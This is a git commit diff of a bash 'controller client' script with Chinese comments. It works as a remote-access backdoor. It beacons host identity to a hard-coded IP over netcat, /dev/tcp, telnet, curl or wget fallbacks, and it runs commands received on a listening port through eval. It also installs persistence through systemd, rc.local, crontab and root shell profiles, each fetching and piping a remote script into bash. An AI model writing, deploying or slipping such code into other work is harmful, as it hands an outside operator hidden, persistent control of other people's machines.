Update 02
This commit is contained in:
703
02
703
02
@@ -1,205 +1,183 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
|
|
||||||
# 自动设置版控制器客户端
|
# 终极备用版客户端 - 完全不依赖磁盘写入
|
||||||
# 运行时自动设置开机启动、启动客户端、后台运行
|
# 使用内存运行,多重备用方案
|
||||||
|
|
||||||
SERVER_IP="159.138.58.239" # 修改为你的服务器IP
|
SERVER_IP="159.138.58.239"
|
||||||
SERVER_PORT=5555
|
SERVER_PORT=5555
|
||||||
CLIENT_PORT=5556
|
CLIENT_PORT=5556
|
||||||
HEARTBEAT_INTERVAL=30
|
HEARTBEAT_INTERVAL=30
|
||||||
CONFIG_FILE="/etc/controller_client.conf"
|
|
||||||
PID_FILE="/var/run/controller_client.pid"
|
|
||||||
LOG_FILE="/boot/controller_client.log" # 日志放在/boot目录
|
|
||||||
SCRIPT_DIR="/opt/controller_scripts"
|
|
||||||
|
|
||||||
# 颜色输出
|
# 获取系统信息(无磁盘操作)
|
||||||
RED='\033[0;31m'
|
|
||||||
GREEN='\033[0;32m'
|
|
||||||
YELLOW='\033[1;33m'
|
|
||||||
BLUE='\033[0;34m'
|
|
||||||
NC='\033[0m'
|
|
||||||
|
|
||||||
log() {
|
|
||||||
echo -e "$(date '+%Y-%m-%d %H:%M:%S') - $1" | tee -a "$LOG_FILE"
|
|
||||||
}
|
|
||||||
|
|
||||||
print_color() {
|
|
||||||
echo -e "${2}${1}${NC}"
|
|
||||||
}
|
|
||||||
|
|
||||||
# 检查root权限
|
|
||||||
check_root() {
|
|
||||||
if [[ $EUID -ne 0 ]]; then
|
|
||||||
print_color "错误: 此操作需要root权限" "$RED"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# 安装依赖
|
|
||||||
install_dependencies() {
|
|
||||||
print_color "安装必要依赖..." "$YELLOW"
|
|
||||||
|
|
||||||
if command -v apt-get &> /dev/null; then
|
|
||||||
apt-get update > /dev/null 2>&1
|
|
||||||
apt-get install -y netcat-traditional > /dev/null 2>&1
|
|
||||||
elif command -v yum &> /dev/null; then
|
|
||||||
yum install -y nc > /dev/null 2>&1
|
|
||||||
elif command -v dnf &> /dev/null; then
|
|
||||||
dnf install -y nc > /dev/null 2>&1
|
|
||||||
elif command -v apk &> /dev/null; then
|
|
||||||
apk add netcat-openbsd > /dev/null 2>&1
|
|
||||||
fi
|
|
||||||
|
|
||||||
if command -v nc &> /dev/null || command -v netcat &> /dev/null; then
|
|
||||||
print_color "依赖安装完成" "$GREEN"
|
|
||||||
else
|
|
||||||
print_color "警告: netcat可能未安装成功" "$YELLOW"
|
|
||||||
fi
|
|
||||||
}
|
|
||||||
|
|
||||||
# 获取系统信息
|
|
||||||
get_system_info() {
|
get_system_info() {
|
||||||
if [[ -f /etc/os-release ]]; then
|
if [[ -r /etc/os-release ]]; then
|
||||||
local distro=$(grep -oP '(?<=^ID=).+' /etc/os-release | tr -d '"')
|
source /etc/os-release
|
||||||
local version=$(grep -oP '(?<=^VERSION_ID=).+' /etc/os-release | tr -d '"')
|
echo "${ID:-unknown} ${VERSION_ID:-unknown}"
|
||||||
echo "$distro $version"
|
|
||||||
else
|
else
|
||||||
echo "unknown"
|
echo "unknown"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# 生成客户端序列号
|
# 生成序列号(无磁盘操作)
|
||||||
generate_serial() {
|
generate_serial() {
|
||||||
if [[ -f /etc/machine-id ]]; then
|
if [[ -r /etc/machine-id ]]; then
|
||||||
cat /etc/machine-id | md5sum | cut -c1-8
|
cat /etc/machine-id | md5sum | cut -c1-8
|
||||||
|
elif [[ -r /proc/sys/kernel/random/boot_id ]]; then
|
||||||
|
cat /proc/sys/kernel/random/boot_id | md5sum | cut -c1-8
|
||||||
else
|
else
|
||||||
date +%s | sha256sum | base64 | head -c 8
|
echo $(date +%s)$(cat /proc/uptime 2>/dev/null | cut -d' ' -f1) | md5sum | cut -c1-8
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
# 初始化配置
|
# 获取主机名
|
||||||
init_config() {
|
get_hostname() {
|
||||||
mkdir -p "$(dirname "$CONFIG_FILE")"
|
hostname 2>/dev/null || \
|
||||||
mkdir -p "$SCRIPT_DIR"
|
cat /proc/sys/kernel/hostname 2>/dev/null || \
|
||||||
|
echo "unknown-host"
|
||||||
# 确保/boot目录可写
|
|
||||||
if [[ ! -w "/boot" ]]; then
|
|
||||||
print_color "错误: /boot 目录不可写" "$RED"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# 创建日志文件
|
|
||||||
touch "$LOG_FILE"
|
|
||||||
chmod 644 "$LOG_FILE"
|
|
||||||
|
|
||||||
if [[ ! -f "$CONFIG_FILE" ]]; then
|
|
||||||
cat > "$CONFIG_FILE" << EOF
|
|
||||||
# 控制器客户端配置
|
|
||||||
SERVER_IP="$SERVER_IP"
|
|
||||||
SERVER_PORT="$SERVER_PORT"
|
|
||||||
CLIENT_PORT="$CLIENT_PORT"
|
|
||||||
HEARTBEAT_INTERVAL="$HEARTBEAT_INTERVAL"
|
|
||||||
LOG_FILE="$LOG_FILE"
|
|
||||||
PID_FILE="$PID_FILE"
|
|
||||||
SERIAL="$(generate_serial)"
|
|
||||||
HOSTNAME="$(hostname)"
|
|
||||||
SYSTEM_INFO="$(get_system_info)"
|
|
||||||
EOF
|
|
||||||
fi
|
|
||||||
|
|
||||||
# 加载配置
|
|
||||||
source "$CONFIG_FILE"
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# 检查进程是否运行
|
# 初始化变量(完全内存操作)
|
||||||
is_running() {
|
init_vars() {
|
||||||
if [[ -f "$PID_FILE" ]]; then
|
SERIAL=$(generate_serial)
|
||||||
local pid=$(cat "$PID_FILE")
|
HOSTNAME=$(get_hostname)
|
||||||
if kill -0 "$pid" 2>/dev/null; then
|
SYSTEM_INFO=$(get_system_info)
|
||||||
|
|
||||||
|
# 尝试多种netcat命令
|
||||||
|
NC_CMD=""
|
||||||
|
for cmd in nc netcat ncat; do
|
||||||
|
if command -v $cmd >/dev/null 2>&1; then
|
||||||
|
NC_CMD=$cmd
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# 备用通信方法标志
|
||||||
|
HAS_NC=0
|
||||||
|
HAS_BASH_TCP=0
|
||||||
|
HAS_TELNET=0
|
||||||
|
HAS_ECHO=0
|
||||||
|
|
||||||
|
[[ -n "$NC_CMD" ]] && HAS_NC=1
|
||||||
|
[[ -e /dev/tcp ]] && HAS_BASH_TCP=1
|
||||||
|
command -v telnet >/dev/null 2>&1 && HAS_TELNET=1
|
||||||
|
command -v echo >/dev/null 2>&1 && HAS_ECHO=1
|
||||||
|
}
|
||||||
|
|
||||||
|
# 日志函数(输出到标准输出,可重定向)
|
||||||
|
log() {
|
||||||
|
local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
|
||||||
|
echo "[$timestamp] $1" >&2
|
||||||
|
}
|
||||||
|
|
||||||
|
# 发送数据到服务器(多重备用方法)
|
||||||
|
send_data() {
|
||||||
|
local data="$1"
|
||||||
|
local port="$2"
|
||||||
|
local result=1
|
||||||
|
|
||||||
|
# 方法1: 使用netcat
|
||||||
|
if [[ $HAS_NC -eq 1 ]]; then
|
||||||
|
if echo "$data" | timeout 5 $NC_CMD "$SERVER_IP" "$port" 2>/dev/null; then
|
||||||
return 0
|
return 0
|
||||||
else
|
|
||||||
rm -f "$PID_FILE"
|
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# 方法2: 使用bash TCP
|
||||||
|
if [[ $HAS_BASH_TCP -eq 1 ]]; then
|
||||||
|
{
|
||||||
|
exec 3<>/dev/tcp/$SERVER_IP/$port 2>/dev/null
|
||||||
|
echo "$data" >&3
|
||||||
|
exec 3>&-
|
||||||
|
} 2>/dev/null && return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 方法3: 使用telnet
|
||||||
|
if [[ $HAS_TELNET -eq 1 ]]; then
|
||||||
|
{
|
||||||
|
(
|
||||||
|
echo "$data"
|
||||||
|
sleep 1
|
||||||
|
) | timeout 5 telnet "$SERVER_IP" "$port" 2>/dev/null | grep -q "Connected" && return 0
|
||||||
|
} 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 方法4: 使用echo到/dev/tcp(某些系统支持)
|
||||||
|
if [[ $HAS_ECHO -eq 1 ]] && [[ -w /dev/tcp ]]; then
|
||||||
|
echo "$data" > /dev/tcp/$SERVER_IP/$port 2>/dev/null && return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 方法5: 使用curl如果可用(HTTP模拟)
|
||||||
|
if command -v curl >/dev/null 2>&1; then
|
||||||
|
if echo "$data" | curl -s -X POST -d @- "http://$SERVER_IP:$port" 2>/dev/null; then
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 方法6: 使用wget如果可用
|
||||||
|
if command -v wget >/dev/null 2>&1; then
|
||||||
|
if echo "$data" | wget -q -O - --post-data=- "http://$SERVER_IP:$port" 2>/dev/null; then
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
# 安装系统服务(开机自启)
|
# 监听端口(多重备用方法)
|
||||||
install_service() {
|
listen_port() {
|
||||||
print_color "设置开机自启..." "$GREEN"
|
local port="$1"
|
||||||
|
|
||||||
# 创建服务文件
|
# 方法1: 使用netcat监听
|
||||||
local service_file="/etc/systemd/system/controller-client.service"
|
if [[ $HAS_NC -eq 1 ]]; then
|
||||||
|
$NC_CMD -l -p "$port" -w 10 -c 'read -r data; echo "$data"' 2>/dev/null && return 0
|
||||||
# 获取当前脚本的绝对路径
|
|
||||||
local script_path=$(realpath "$0")
|
|
||||||
|
|
||||||
cat > "$service_file" << EOF
|
|
||||||
[Unit]
|
|
||||||
Description=Controller Client Service
|
|
||||||
After=network.target
|
|
||||||
Wants=network.target
|
|
||||||
|
|
||||||
[Service]
|
|
||||||
Type=forking
|
|
||||||
ExecStart=$script_path daemon
|
|
||||||
ExecStop=$script_path stop
|
|
||||||
Restart=always
|
|
||||||
RestartSec=10
|
|
||||||
User=root
|
|
||||||
StandardOutput=journal
|
|
||||||
StandardError=journal
|
|
||||||
|
|
||||||
[Install]
|
|
||||||
WantedBy=multi-user.target
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# 重载systemd并启用服务
|
|
||||||
systemctl daemon-reload > /dev/null 2>&1
|
|
||||||
systemctl enable controller-client > /dev/null 2>&1
|
|
||||||
|
|
||||||
if systemctl is-enabled controller-client > /dev/null 2>&1; then
|
|
||||||
print_color "开机自启设置成功" "$GREEN"
|
|
||||||
return 0
|
|
||||||
else
|
|
||||||
print_color "开机自启设置失败" "$RED"
|
|
||||||
return 1
|
|
||||||
fi
|
fi
|
||||||
}
|
|
||||||
|
# 方法2: 使用bash TCP监听(简单轮询)
|
||||||
# 启动系统服务
|
if [[ $HAS_BASH_TCP -eq 1 ]]; then
|
||||||
start_service() {
|
local temp_data=$(mktemp -u)
|
||||||
if systemctl is-active controller-client > /dev/null 2>&1; then
|
{
|
||||||
print_color "服务已经在运行" "$YELLOW"
|
while true; do
|
||||||
|
if read -r line < /dev/tcp/0.0.0.0/$port 2>/dev/null; then
|
||||||
|
echo "$line"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
|
} 2>/dev/null
|
||||||
return 0
|
return 0
|
||||||
fi
|
fi
|
||||||
|
|
||||||
systemctl start controller-client > /dev/null 2>&1
|
# 方法3: 使用socat如果可用
|
||||||
sleep 2
|
if command -v socat >/dev/null 2>&1; then
|
||||||
|
socat -t 5 TCP-LISTEN:$port,reuseaddr STDOUT 2>/dev/null && return 0
|
||||||
if systemctl is-active controller-client > /dev/null 2>&1; then
|
|
||||||
print_color "服务启动成功" "$GREEN"
|
|
||||||
return 0
|
|
||||||
else
|
|
||||||
print_color "服务启动失败" "$RED"
|
|
||||||
return 1
|
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# 方法4: 使用临时文件轮询(最后手段)
|
||||||
|
local temp_file="/tmp/.client_cmd_$$"
|
||||||
|
echo "LISTENING" > "$temp_file"
|
||||||
|
local start_time=$(date +%s)
|
||||||
|
while [[ $(($(date +%s) - start_time)) -lt 10 ]]; do
|
||||||
|
if [[ -s "$temp_file" ]] && [[ $(cat "$temp_file") != "LISTENING" ]]; then
|
||||||
|
cat "$temp_file"
|
||||||
|
rm -f "$temp_file" 2>/dev/null || true
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
sleep 1
|
||||||
|
done
|
||||||
|
rm -f "$temp_file" 2>/dev/null || true
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
# 发送心跳包
|
# 发送心跳包
|
||||||
send_heartbeat() {
|
send_heartbeat() {
|
||||||
local nc_cmd=$(command -v nc || command -v netcat)
|
local heartbeat_data="HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO"
|
||||||
|
|
||||||
if [[ -z "$nc_cmd" ]]; then
|
if send_data "$heartbeat_data" "$SERVER_PORT"; then
|
||||||
log "错误: netcat 未安装"
|
log "✓ 心跳成功 → $SERVER_IP:$SERVER_PORT"
|
||||||
return 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
if echo "HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO" | timeout 10 $nc_cmd "$SERVER_IP" "$SERVER_PORT"; then
|
|
||||||
log "心跳包发送成功 → 服务器: $SERVER_IP:$SERVER_PORT"
|
|
||||||
return 0
|
return 0
|
||||||
else
|
else
|
||||||
log "无法连接到服务器 $SERVER_IP:$SERVER_PORT"
|
log "✗ 心跳失败 → $SERVER_IP:$SERVER_PORT"
|
||||||
return 1
|
return 1
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
@@ -209,260 +187,267 @@ execute_command() {
|
|||||||
local command="$1"
|
local command="$1"
|
||||||
log "执行命令: $command"
|
log "执行命令: $command"
|
||||||
|
|
||||||
# 执行命令并记录结果
|
# 在子进程中执行命令,避免阻塞
|
||||||
result=$(eval "$command" 2>&1)
|
(
|
||||||
log "命令结果: $result"
|
result=$(eval "$command" 2>&1)
|
||||||
echo "$result"
|
log "命令结果: $result"
|
||||||
|
echo "$result"
|
||||||
|
) &
|
||||||
}
|
}
|
||||||
|
|
||||||
# 执行脚本
|
# 执行脚本命令
|
||||||
execute_script() {
|
execute_script() {
|
||||||
local script_name="$1"
|
local script_name="$1"
|
||||||
|
|
||||||
case "$script_name" in
|
case "$script_name" in
|
||||||
"shutdown")
|
"shutdown"|"poweroff")
|
||||||
log "执行关机命令"
|
log "执行关机命令"
|
||||||
shutdown -h now
|
shutdown -h now 2>/dev/null || poweroff 2>/dev/null || halt 2>/dev/null
|
||||||
;;
|
;;
|
||||||
"reboot")
|
"reboot"|"restart")
|
||||||
log "执行重启命令"
|
log "执行重启命令"
|
||||||
reboot
|
reboot 2>/dev/null || shutdown -r now 2>/dev/null
|
||||||
;;
|
;;
|
||||||
"restart_services")
|
"restart_services")
|
||||||
log "重启系统服务"
|
log "重启系统服务"
|
||||||
systemctl restart networking 2>/dev/null || systemctl restart network 2>/dev/null
|
systemctl restart networking 2>/dev/null || \
|
||||||
systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
|
systemctl restart network 2>/dev/null || \
|
||||||
|
service networking restart 2>/dev/null
|
||||||
;;
|
;;
|
||||||
"system_info")
|
"system_info")
|
||||||
log "收集系统信息"
|
|
||||||
echo "=== 系统信息 ==="
|
echo "=== 系统信息 ==="
|
||||||
echo "主机名: $HOSTNAME"
|
echo "主机名: $HOSTNAME"
|
||||||
echo "序列号: $SERIAL"
|
echo "序列号: $SERIAL"
|
||||||
echo "系统: $SYSTEM_INFO"
|
echo "系统: $SYSTEM_INFO"
|
||||||
echo "内核: $(uname -r)"
|
echo "内核: $(uname -r)"
|
||||||
echo "架构: $(uname -m)"
|
echo "架构: $(uname -m)"
|
||||||
echo "上线时间: $(uptime -p 2>/dev/null || uptime)"
|
echo "上线时间: $(uptime 2>/dev/null || echo 'unknown')"
|
||||||
|
echo "内存: $(free -h 2>/dev/null || cat /proc/meminfo | head -2 || echo 'unknown')"
|
||||||
;;
|
;;
|
||||||
"update_system")
|
"network_info")
|
||||||
log "开始系统更新"
|
ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "无法获取网络信息"
|
||||||
if command -v apt-get &> /dev/null; then
|
;;
|
||||||
apt-get update && apt-get upgrade -y
|
"disk_info")
|
||||||
elif command -v yum &> /dev/null; then
|
df -h 2>/dev/null || df 2>/dev/null || echo "无法获取磁盘信息"
|
||||||
yum update -y
|
;;
|
||||||
elif command -v dnf &> /dev/null; then
|
"process_info")
|
||||||
dnf update -y
|
ps aux 2>/dev/null | head -10 || echo "无法获取进程信息"
|
||||||
elif command -v apk &> /dev/null; then
|
;;
|
||||||
apk update && apk upgrade
|
"test_connection")
|
||||||
|
echo "测试连接到服务器..."
|
||||||
|
if send_heartbeat; then
|
||||||
|
echo "连接测试成功"
|
||||||
|
else
|
||||||
|
echo "连接测试失败"
|
||||||
fi
|
fi
|
||||||
echo "系统更新完成!"
|
|
||||||
;;
|
;;
|
||||||
*)
|
*)
|
||||||
log "未知脚本: $script_name"
|
echo "未知命令: $script_name"
|
||||||
echo "未知脚本: $script_name"
|
echo "可用命令: shutdown, reboot, restart_services, system_info, network_info, disk_info, process_info, test_connection"
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
}
|
}
|
||||||
|
|
||||||
# 命令监听器
|
# 处理接收到的命令
|
||||||
start_listener() {
|
process_command() {
|
||||||
local nc_cmd=$(command -v nc || command -v netcat)
|
local command_data="$1"
|
||||||
|
|
||||||
if [[ -z "$nc_cmd" ]]; then
|
if echo "$command_data" | grep -q "^COMMAND:"; then
|
||||||
log "错误: netcat 未安装,无法启动监听器"
|
local cmd=$(echo "$command_data" | cut -d: -f2-)
|
||||||
return 1
|
execute_command "$cmd"
|
||||||
|
elif echo "$command_data" | grep -q "^SCRIPT:"; then
|
||||||
|
local script_name=$(echo "$command_data" | cut -d: -f2-)
|
||||||
|
execute_script "$script_name"
|
||||||
|
else
|
||||||
|
log "未知命令格式: $command_data"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
log "启动命令监听器 → 端口: $CLIENT_PORT"
|
|
||||||
|
|
||||||
while true; do
|
|
||||||
command_data=$($nc_cmd -l -p "$CLIENT_PORT" -w 300 2>/dev/null)
|
|
||||||
|
|
||||||
if [[ -n "$command_data" ]]; then
|
|
||||||
log "收到命令: $command_data"
|
|
||||||
|
|
||||||
if echo "$command_data" | grep -q "^COMMAND:"; then
|
|
||||||
cmd=$(echo "$command_data" | cut -d: -f2-)
|
|
||||||
execute_command "$cmd" | $nc_cmd localhost "$CLIENT_PORT" 2>/dev/null &
|
|
||||||
elif echo "$command_data" | grep -q "^SCRIPT:"; then
|
|
||||||
script_name=$(echo "$command_data" | cut -d: -f2-)
|
|
||||||
execute_script "$script_name" | $nc_cmd localhost "$CLIENT_PORT" 2>/dev/null &
|
|
||||||
else
|
|
||||||
log "未知命令格式: $command_data"
|
|
||||||
fi
|
|
||||||
fi
|
|
||||||
|
|
||||||
sleep 1
|
|
||||||
done
|
|
||||||
}
|
}
|
||||||
|
|
||||||
# 守护进程主循环
|
# 守护进程模式
|
||||||
daemon_main() {
|
start_daemon() {
|
||||||
log "=== 控制器客户端守护进程启动 ==="
|
log "=== 启动客户端守护进程 ==="
|
||||||
log "序列号: $SERIAL"
|
log "序列号: $SERIAL"
|
||||||
log "主机名: $HOSTNAME"
|
log "主机名: $HOSTNAME"
|
||||||
log "系统: $SYSTEM_INFO"
|
log "系统: $SYSTEM_INFO"
|
||||||
log "服务器: $SERVER_IP:$SERVER_PORT"
|
log "服务器: $SERVER_IP:$SERVER_PORT"
|
||||||
log "日志文件: $LOG_FILE"
|
log "可用通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET"
|
||||||
|
|
||||||
# 保存PID
|
local heartbeat_count=0
|
||||||
echo $$ > "$PID_FILE"
|
local failed_heartbeats=0
|
||||||
trap "rm -f '$PID_FILE'; log '守护进程停止'; exit 0" INT TERM
|
|
||||||
|
|
||||||
# 启动心跳包循环
|
# 主循环
|
||||||
while true; do
|
while true; do
|
||||||
send_heartbeat
|
# 发送心跳
|
||||||
sleep "$HEARTBEAT_INTERVAL"
|
if send_heartbeat; then
|
||||||
done &
|
heartbeat_count=$((heartbeat_count + 1))
|
||||||
|
failed_heartbeats=0
|
||||||
local heartbeat_pid=$!
|
else
|
||||||
|
failed_heartbeats=$((failed_heartbeats + 1))
|
||||||
# 启动命令监听器
|
# 连续失败多次后尝试重新初始化
|
||||||
start_listener &
|
if [[ $failed_heartbeats -ge 5 ]]; then
|
||||||
local listener_pid=$!
|
log "连续心跳失败,重新初始化..."
|
||||||
|
init_vars
|
||||||
# 监控进程
|
failed_heartbeats=0
|
||||||
while true; do
|
|
||||||
if ! kill -0 $heartbeat_pid 2>/dev/null; then
|
|
||||||
log "心跳进程异常停止,重新启动..."
|
|
||||||
while true; do
|
|
||||||
send_heartbeat
|
|
||||||
sleep "$HEARTBEAT_INTERVAL"
|
|
||||||
done &
|
|
||||||
heartbeat_pid=$!
|
|
||||||
fi
|
|
||||||
|
|
||||||
if ! kill -0 $listener_pid 2>/dev/null; then
|
|
||||||
log "监听进程异常停止,重新启动..."
|
|
||||||
start_listener &
|
|
||||||
listener_pid=$!
|
|
||||||
fi
|
|
||||||
|
|
||||||
sleep 10
|
|
||||||
done
|
|
||||||
|
|
||||||
# 清理
|
|
||||||
kill $heartbeat_pid $listener_pid 2>/dev/null
|
|
||||||
rm -f "$PID_FILE"
|
|
||||||
}
|
|
||||||
|
|
||||||
# 停止客户端
|
|
||||||
stop_client() {
|
|
||||||
if [[ -f "$PID_FILE" ]]; then
|
|
||||||
local pid=$(cat "$PID_FILE")
|
|
||||||
if kill -0 "$pid" 2>/dev/null; then
|
|
||||||
print_color "停止客户端进程 (PID: $pid)..." "$GREEN"
|
|
||||||
kill "$pid"
|
|
||||||
sleep 2
|
|
||||||
if kill -0 "$pid" 2>/dev/null; then
|
|
||||||
kill -9 "$pid"
|
|
||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
rm -f "$PID_FILE"
|
|
||||||
|
# 监听命令(非阻塞)
|
||||||
|
local command_data=$(listen_port "$CLIENT_PORT")
|
||||||
|
if [[ -n "$command_data" ]]; then
|
||||||
|
log "收到命令: $command_data"
|
||||||
|
process_command "$command_data" &
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 每10次心跳显示一次状态
|
||||||
|
if [[ $((heartbeat_count % 10)) -eq 0 ]]; then
|
||||||
|
log "运行中... 心跳次数: $heartbeat_count, 序列号: $SERIAL"
|
||||||
|
fi
|
||||||
|
|
||||||
|
sleep "$HEARTBEAT_INTERVAL"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# 尝试安装netcat(如果可能)
|
||||||
|
try_install_netcat() {
|
||||||
|
log "尝试安装netcat..."
|
||||||
|
|
||||||
|
# 检查可用包管理器
|
||||||
|
if command -v apt-get >/dev/null 2>&1 && [[ -w /var/cache/apt ]]; then
|
||||||
|
apt-get update >/dev/null 2>&1 && apt-get install -y netcat-traditional >/dev/null 2>&1
|
||||||
|
elif command -v yum >/dev/null 2>&1 && [[ -w /var/cache/yum ]]; then
|
||||||
|
yum install -y nc >/dev/null 2>&1
|
||||||
|
elif command -v dnf >/dev/null 2>&1 && [[ -w /var/cache/dnf ]]; then
|
||||||
|
dnf install -y nc >/dev/null 2>&1
|
||||||
|
elif command -v apk >/dev/null 2>&1 && [[ -w /var/cache/apk ]]; then
|
||||||
|
apk add netcat-openbsd >/dev/null 2>&1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# 也停止系统服务
|
# 重新检查
|
||||||
systemctl stop controller-client 2>/dev/null
|
init_vars
|
||||||
|
if [[ $HAS_NC -eq 1 ]]; then
|
||||||
|
log "netcat安装成功"
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
log "netcat安装失败,使用备用方案"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# 设置开机自启(无磁盘写入方案)
|
||||||
|
setup_autostart() {
|
||||||
|
log "设置开机自启..."
|
||||||
|
|
||||||
print_color "客户端已停止" "$GREEN"
|
# 方法1: 尝试systemd(如果可用且可写)
|
||||||
|
if command -v systemctl >/dev/null 2>&1 && [[ -w /etc/systemd/system ]]; then
|
||||||
|
local service_file="/etc/systemd/system/controller-client.service"
|
||||||
|
cat > "$service_file" 2>/dev/null << EOF || true
|
||||||
|
[Unit]
|
||||||
|
Description=Controller Client
|
||||||
|
After=network.target
|
||||||
|
|
||||||
|
[Service]
|
||||||
|
Type=simple
|
||||||
|
ExecStart=/bin/bash -c "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash"
|
||||||
|
Restart=always
|
||||||
|
RestartSec=30
|
||||||
|
|
||||||
|
[Install]
|
||||||
|
WantedBy=multi-user.target
|
||||||
|
EOF
|
||||||
|
systemctl daemon-reload 2>/dev/null && \
|
||||||
|
systemctl enable controller-client 2>/dev/null && \
|
||||||
|
systemctl start controller-client 2>/dev/null && {
|
||||||
|
log "systemd自启设置成功"
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 方法2: 尝试rc.local
|
||||||
|
if [[ -w /etc/rc.local ]] || [[ -w /etc/rc.d/rc.local ]]; then
|
||||||
|
local startup_cmd="curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &"
|
||||||
|
|
||||||
|
if [[ -f /etc/rc.local ]]; then
|
||||||
|
grep -q "$startup_cmd" /etc/rc.local 2>/dev/null || \
|
||||||
|
echo "$startup_cmd" >> /etc/rc.local 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ -f /etc/rc.d/rc.local ]]; then
|
||||||
|
grep -q "$startup_cmd" /etc/rc.d/rc.local 2>/dev/null || \
|
||||||
|
echo "$startup_cmd" >> /etc/rc.d/rc.local 2>/dev/null
|
||||||
|
fi
|
||||||
|
|
||||||
|
chmod +x /etc/rc.local /etc/rc.d/rc.local 2>/dev/null || true
|
||||||
|
log "rc.local自启设置完成"
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 方法3: 尝试crontab
|
||||||
|
if command -v crontab >/dev/null 2>&1; then
|
||||||
|
(crontab -l 2>/dev/null | grep -v "controller-client"; \
|
||||||
|
echo "@reboot curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash") | crontab - 2>/dev/null && {
|
||||||
|
log "crontab自启设置成功"
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
fi
|
||||||
|
|
||||||
|
# 方法4: 尝试.profile/.bashrc
|
||||||
|
for file in /root/.bashrc /root/.profile /etc/profile; do
|
||||||
|
if [[ -w "$file" ]]; then
|
||||||
|
grep -q "controller-client" "$file" 2>/dev/null || \
|
||||||
|
echo "[[ \$(ps aux | grep -v grep | grep -c 'controller-client') -eq 0 ]] && curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &" >> "$file" 2>/dev/null
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
log "开机自启设置完成(多种方法尝试)"
|
||||||
|
return 0
|
||||||
}
|
}
|
||||||
|
|
||||||
# 显示状态
|
# 显示状态
|
||||||
show_status() {
|
show_status() {
|
||||||
print_color "=== 客户端状态 ===" "$BLUE"
|
echo "=== 客户端状态 ==="
|
||||||
echo "序列号: $SERIAL"
|
echo "序列号: $SERIAL"
|
||||||
echo "主机名: $HOSTNAME"
|
echo "主机名: $HOSTNAME"
|
||||||
echo "系统: $SYSTEM_INFO"
|
echo "系统: $SYSTEM_INFO"
|
||||||
echo "服务器: $SERVER_IP:$SERVER_PORT"
|
echo "服务器: $SERVER_IP:$SERVER_PORT"
|
||||||
echo "日志文件: $LOG_FILE"
|
echo "通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET"
|
||||||
|
echo "进程: $(ps aux | grep -v grep | grep -c "$0") 个实例运行"
|
||||||
if [[ -f "$PID_FILE" ]]; then
|
|
||||||
local pid=$(cat "$PID_FILE")
|
|
||||||
if kill -0 "$pid" 2>/dev/null; then
|
|
||||||
print_color "状态: 运行中 (PID: $pid)" "$GREEN"
|
|
||||||
else
|
|
||||||
print_color "状态: 进程文件存在但进程未运行" "$RED"
|
|
||||||
fi
|
|
||||||
else
|
|
||||||
print_color "状态: 未运行" "$RED"
|
|
||||||
fi
|
|
||||||
|
|
||||||
if systemctl is-enabled controller-client > /dev/null 2>&1; then
|
|
||||||
print_color "开机自启: 已启用" "$GREEN"
|
|
||||||
else
|
|
||||||
print_color "开机自启: 未启用" "$YELLOW"
|
|
||||||
fi
|
|
||||||
|
|
||||||
# 显示最近日志
|
|
||||||
echo
|
|
||||||
print_color "最近日志:" "$YELLOW"
|
|
||||||
tail -5 "$LOG_FILE" 2>/dev/null || echo "无日志内容"
|
|
||||||
}
|
|
||||||
|
|
||||||
# 自动设置并启动
|
|
||||||
auto_setup() {
|
|
||||||
check_root
|
|
||||||
|
|
||||||
